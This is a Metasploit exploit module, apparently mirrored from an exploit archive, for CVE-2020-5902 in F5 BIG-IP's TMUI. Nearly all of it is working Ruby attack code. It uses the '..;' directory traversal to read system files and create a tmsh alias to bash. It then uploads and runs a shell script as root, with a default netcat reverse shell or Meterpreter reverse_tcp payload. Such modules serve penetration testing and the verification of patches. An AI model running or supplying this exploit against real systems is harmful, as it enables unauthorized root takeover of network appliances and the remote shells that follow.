Share
## https://sploitus.com/exploit?id=PACKETSTORM:175671
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = AverageRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Deprecated  
moved_from 'exploit/linux/http/f5_bigip_tmui_rce'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',  
'Description' => %q{  
This module exploits a directory traversal in F5's BIG-IP Traffic  
Management User Interface (TMUI) to upload a shell script and execute  
it as the Unix root user.  
  
Unix shell access is obtained by escaping the restricted Traffic  
Management Shell (TMSH). The escape may not be reliable, and you may  
have to run the exploit multiple times. Sorry!  
  
Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,  
15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced  
in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.  
  
Tested against the VMware OVA release of 14.1.2.  
},  
'Author' => [  
'Mikhail Klyuchnikov', # Discovery  
'wvu' # Analysis and exploit  
],  
'References' => [  
['CVE', '2020-5902'],  
['URL', 'https://support.f5.com/csp/article/K52145254'],  
['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/']  
],  
'DisclosureDate' => '2020-06-30', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'SSL' => true,  
'WfsDelay' => 5  
},  
'Notes' => {  
'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service  
'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
  
register_advanced_options([  
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'),  
'vars_post' => {  
'fileName' => '/etc/f5-release'  
}  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body  
return CheckCode::Safe('Target did not respond with BIG-IP version.')  
end  
  
# If we got here, the directory traversal was successful  
CheckCode::Vulnerable("Target is running BIG-IP #{version}.")  
end  
  
def exploit  
create_alias  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(temp: datastore['WritableDir'])  
end  
ensure  
delete_alias if @created_alias  
end  
  
def create_alias  
print_status('Creating alias list=bash')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),  
'vars_post' => {  
'command' => 'create cli alias private list command bash'  
}  
)  
  
if res.nil? || (error = parse_error(res))  
case error  
when /private "list" \(list\) already exists/  
print_error('Alias "list" already exists, deleting it')  
delete_alias  
  
# Try to create the alias again  
return create_alias  
when /java\.lang\.NullPointerException/  
print_error('Encountered java.lang.NullPointerException, retrying!')  
  
# XXX: Try to create the alias until we're successful  
return create_alias  
end  
  
fail_with(Failure::UnexpectedReply,  
"Failed to create alias list=bash#{error}")  
end  
  
@created_alias = true  
  
print_good('Successfully created alias list=bash')  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
upload_script(cmd)  
execute_script  
end  
  
def upload_script(cmd)  
print_status("Uploading #{script_path}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'),  
'vars_post' => {  
'fileName' => script_path,  
'content' => cmd  
}  
)  
  
if res.nil? || (error = parse_error(res))  
fail_with(Failure::UnexpectedReply,  
"Failed to upload #{script_path}#{error}")  
end  
  
register_file_for_cleanup(script_path)  
  
print_good("Successfully uploaded #{script_path}")  
end  
  
def execute_script  
print_status("Executing #{script_path}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),  
'vars_post' => {  
'command' => "list #{script_path}"  
}  
}, 3.5)  
  
# No response may mean the service is blocking on payload execution  
return unless res && (error = parse_error(res))  
  
case error  
when /unexpected argument/  
print_error('Alias "list" does not exist, attempting to create it again')  
create_alias  
  
# Try to execute the script again... smdh  
return execute_script  
when /java\.lang\.NullPointerException/  
print_error('Encountered java.lang.NullPointerException, retrying!')  
  
# XXX: Try to execute the script until we're successful  
return execute_script  
end  
  
print_error("Failed to execute #{script_path}#{error}")  
end  
  
def delete_alias  
print_status('Deleting alias list=bash')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),  
'vars_post' => {  
'command' => 'delete cli alias private list'  
}  
)  
  
if res.nil? || (error = parse_error(res))  
case error  
when /user alias \(list admin\) was not found/  
print_good('Alias "list" does not exist or was already deleted')  
return  
when /java\.lang\.NullPointerException/  
print_error('Encountered java.lang.NullPointerException, retrying!')  
  
# XXX: Try to delete the alias until we're successful  
return delete_alias  
end  
  
print_warning("Failed to delete alias list=bash#{error}")  
return  
end  
  
print_good('Successfully deleted alias list=bash')  
end  
  
def parse_error(res)  
return unless res  
  
error =  
case res.code  
when 200  
res.get_json_document['error']  
when 500  
# This is usually a java.lang.NullPointerException stack trace  
res.get_html_document.at('//pre')&.text  
else  
res.body  
end  
  
return if error.blank?  
  
":\n#{error.strip}"  
end  
  
def dir_trav(path)  
# PoC courtesy of the referenced F5 advisory: <LocationMatch ".*\.\.;.*">  
normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)  
end  
  
def script_path  
@script_path ||=  
normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))  
end  
  
end